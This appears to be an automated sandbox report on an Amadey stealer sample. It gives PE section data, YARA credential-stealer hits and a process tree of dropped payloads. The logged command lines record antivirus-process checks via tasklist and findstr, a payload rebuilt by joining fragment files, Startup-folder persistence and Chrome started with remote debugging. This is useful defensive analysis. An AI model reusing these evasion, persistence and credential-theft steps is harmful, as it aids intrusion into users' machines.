add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x344	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x4a4df0	0x10	muzjjppg
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x4a4da0	0x18	muzjjppg
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2de00	c60c371754fd4a35dab60ab65c045a1e	False	0.9979883344686649	data	7.9801769505302085	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x344	0x400	982623c07c43a8169da5c3bd55ce4d06	False	0.4345703125	data	5.395849414192414	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x6b000	0x2a3000	0x200	81758b72db536055a5ac3a16a6046a47	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
muzjjppg	0x30e000	0x197000	0x196e00	57ac07bf99d74c0391a0aa08194541e1	False	0.9947742655529954	data	7.955315833792344	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
wbgldlky	0x4a5000	0x1000	0x400	e9b85274fc305f890f272676de75d472	False	0.7607421875	data	6.0930191478869435	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4a6000	0x3000	0x2200	66d32de920a4c7aec9113edf2054a36a	False	0.07261029411764706	DOS executable (COM)	0.8086771376046641	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x69070	0x152	ASCII text, with CRLF line terminators			0.6479289940828402
RT_MANIFEST	0x691c4	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Target ID:	1
Start time:	11:17:39
Start date:	29/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xe90000
File size:	1'870'336 bytes
MD5 hash:	3CA635061FA9685D799784F665850565
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000002.13883161992.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000003.13842539245.0000000005230000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	11:17:41
Start date:	29/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xba0000
File size:	1'870'336 bytes
MD5 hash:	3CA635061FA9685D799784F665850565
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.13861306905.0000000004CB0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.13902305266.0000000000BA1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Antivirus matches:	Detection: 55%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	11:17:42
Start date:	29/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xba0000
File size:	1'870'336 bytes
MD5 hash:	3CA635061FA9685D799784F665850565
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000003.13864024154.0000000005570000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000002.13904398630.0000000000BA1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	11:18:00
Start date:	29/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xba0000
File size:	1'870'336 bytes
MD5 hash:	3CA635061FA9685D799784F665850565
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000004.00000003.14043450727.0000000005570000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	11:18:10
Start date:	29/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe"
Imagebase:	0x7ff77fa00000
File size:	3'646'464 bytes
MD5 hash:	CA480193E4B8159DD1283118EBDE8896
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 68%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	11:18:13
Start date:	29/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c start cmd /C "ping localhost -n 1 && start C:\Users\user\AppData\Local\kreon.exe"
Imagebase:	0x7ff68c570000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	11:18:13
Start date:	29/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6e4e70000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	11:18:13
Start date:	29/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /C "ping localhost -n 1 && start C:\Users\user\AppData\Local\kreon.exe"
Imagebase:	0x7ff68c570000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	11:18:13
Start date:	29/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6e4e70000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	11:18:13
Start date:	29/11/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	ping localhost -n 1
Imagebase:	0x7ff60a2d0000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	11:18:13
Start date:	29/11/2024
Path:	C:\Users\user\AppData\Local\kreon.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\kreon.exe
Imagebase:	0x7ff604f70000
File size:	3'646'464 bytes
MD5 hash:	CA480193E4B8159DD1283118EBDE8896
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 68%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	11:18:16
Start date:	29/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe"
Imagebase:	0xfc0000
File size:	1'852'416 bytes
MD5 hash:	79AC6D1413B763A6FA688B99E931BAFC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.14507012889.00000000064A8000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.14313728866.00000000064A8000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.14436725330.00000000064A8000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.14545599157.00000000064A8000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.14471313415.00000000064A8000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.14546004873.00000000064A8000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	11:18:22
Start date:	29/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe"
Imagebase:	0x7ff77fa00000
File size:	3'646'464 bytes
MD5 hash:	CA480193E4B8159DD1283118EBDE8896
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	11:18:22
Start date:	29/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007944001\L.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007944001\L.exe"
Imagebase:	0xb50000
File size:	1'872'384 bytes
MD5 hash:	B0698083692329746FC840E1694AD615
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000003.14869795564.000000000128F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000003.14779289517.0000000005B01000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	11:18:24
Start date:	29/11/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k WerSvcGroup
Imagebase:	0x7ff79fed0000
File size:	57'360 bytes
MD5 hash:	F586835082F632DC8D9404D83BC16316
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	11:18:24
Start date:	29/11/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -pss -s 468 -p 1596 -ip 1596
Imagebase:	0x7ff7ef000000
File size:	568'632 bytes
MD5 hash:	5C06542FED8EE68994D43938E7326D75
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	11:18:24
Start date:	29/11/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -u -p 1596 -s 1732
Imagebase:	0x7ff7ef000000
File size:	568'632 bytes
MD5 hash:	5C06542FED8EE68994D43938E7326D75
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	11:18:25
Start date:	29/11/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
Imagebase:	0x7ff79fed0000
File size:	57'360 bytes
MD5 hash:	F586835082F632DC8D9404D83BC16316
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	19
Start time:	11:18:27
Start date:	29/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9221 --profile-directory="Default"
Imagebase:	0x7ff6b9400000
File size:	2'742'376 bytes
MD5 hash:	BB7C48CDDDE076E7EB44022520F40F77
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	11:18:28
Start date:	29/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-subproc-heap-profiling --field-trial-handle=2584,i,13543876262745876758,17897584690013245804,262144 --variations-seed-version=20240909-180142.416000 --mojo-platform-channel-handle=2688 /prefetch:3
Imagebase:	0x7ff6b9400000
File size:	2'742'376 bytes
MD5 hash:	BB7C48CDDDE076E7EB44022520F40F77
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	11:18:29
Start date:	29/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe"
Imagebase:	0x400000
File size:	4'389'991 bytes
MD5 hash:	978752B65601018DDD10636B648B8E65
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 47%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	11:18:30
Start date:	29/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c copy Bukkake Bukkake.cmd && Bukkake.cmd
Imagebase:	0xbd0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	11:18:30
Start date:	29/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6e4e70000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	11:18:31
Start date:	29/11/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
Imagebase:	0x7ff79fed0000
File size:	57'360 bytes
MD5 hash:	F586835082F632DC8D9404D83BC16316
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	25
Start time:	11:18:31
Start date:	29/11/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
Imagebase:	0x7ff79fed0000
File size:	57'360 bytes
MD5 hash:	F586835082F632DC8D9404D83BC16316
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	26
Start time:	11:18:31
Start date:	29/11/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0xd80000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	11:18:31
Start date:	29/11/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /I "wrsa opssvc"
Imagebase:	0xe30000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	11:18:32
Start date:	29/11/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0xd80000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	11:18:32
Start date:	29/11/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Imagebase:	0xe30000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	11:18:33
Start date:	29/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c md 29442
Imagebase:	0xbd0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	11:18:33
Start date:	29/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c copy /b ..\Wendy + ..\Psychiatry + ..\Rid + ..\Games + ..\Norway + ..\Matching + ..\Jungle + ..\Elliott + ..\Jpg + ..\Americans + ..\Exhibits + ..\Peeing + ..\Typical + ..\Innocent + ..\Seafood + ..\Nervous + ..\Households + ..\Ai + ..\Hotel + ..\Holdem + ..\Drums + ..\Carlo + ..\Tm + ..\Landscape + ..\Resolutions + ..\Def + ..\Lambda + ..\Biodiversity + ..\Odds + ..\Smithsonian + ..\Blvd + ..\Actual + ..\Guy + ..\Expert + ..\Delaware + ..\Eagle + ..\Eugene + ..\Exempt + ..\Same + ..\Ebooks + ..\Individuals + ..\Sucking + ..\Chan + ..\Turns + ..\Satin + ..\Dealing + ..\Result + ..\Through + ..\Realized l
Imagebase:	0xbd0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	11:18:33
Start date:	29/11/2024
Path:	C:\Users\user\AppData\Local\Temp\29442\Reynolds.com
Wow64 process (32bit):	false
Commandline:	Reynolds.com l
Imagebase:	0x7ff7a34c0000
File size:	1'065'128 bytes
MD5 hash:	C63860691927D62432750013B5A20F5F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	11:18:33
Start date:	29/11/2024
Path:	C:\Windows\SysWOW64\choice.exe
Wow64 process (32bit):	true
Commandline:	choice /d y /t 5
Imagebase:	0x320000
File size:	28'160 bytes
MD5 hash:	FCE0E41C87DC4ABBE976998AD26C27E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	11:18:35
Start date:	29/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ZeusChat.url" & echo URL="C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ZeusChat.url" & exit
Imagebase:	0x7ff68c570000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	11:18:35
Start date:	29/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6e4e70000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	11:18:35
Start date:	29/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe"
Imagebase:	0x7d0000
File size:	1'008'128 bytes
MD5 hash:	1AD1C59E56BDBFA6705772D6991EEB02
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 41%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	11:18:35
Start date:	29/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6e4e70000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	11:18:36
Start date:	29/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe"
Imagebase:	0x7d0000
File size:	1'008'128 bytes
MD5 hash:	1AD1C59E56BDBFA6705772D6991EEB02
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	11:18:36
Start date:	29/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe"
Imagebase:	0x7d0000
File size:	1'008'128 bytes
MD5 hash:	1AD1C59E56BDBFA6705772D6991EEB02
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000027.00000003.14512205839.00000000009D5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000027.00000003.14511590204.00000000009D5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	40
Start time:	11:18:38
Start date:	29/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe"
Imagebase:	0x7ff77fa00000
File size:	3'646'464 bytes
MD5 hash:	CA480193E4B8159DD1283118EBDE8896
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	11:18:42
Start date:	29/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1009342001\VBVEd6f.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1009342001\VBVEd6f.exe"
Imagebase:	0x400000
File size:	1'030'340 bytes
MD5 hash:	C46423118FE3E4926E2FD4BC1C36367C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	11:18:42
Start date:	29/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c copy Maintained Maintained.cmd && Maintained.cmd
Imagebase:	0xbd0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	11:18:42
Start date:	29/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6e4e70000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	11:18:42
Start date:	29/11/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0xd80000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
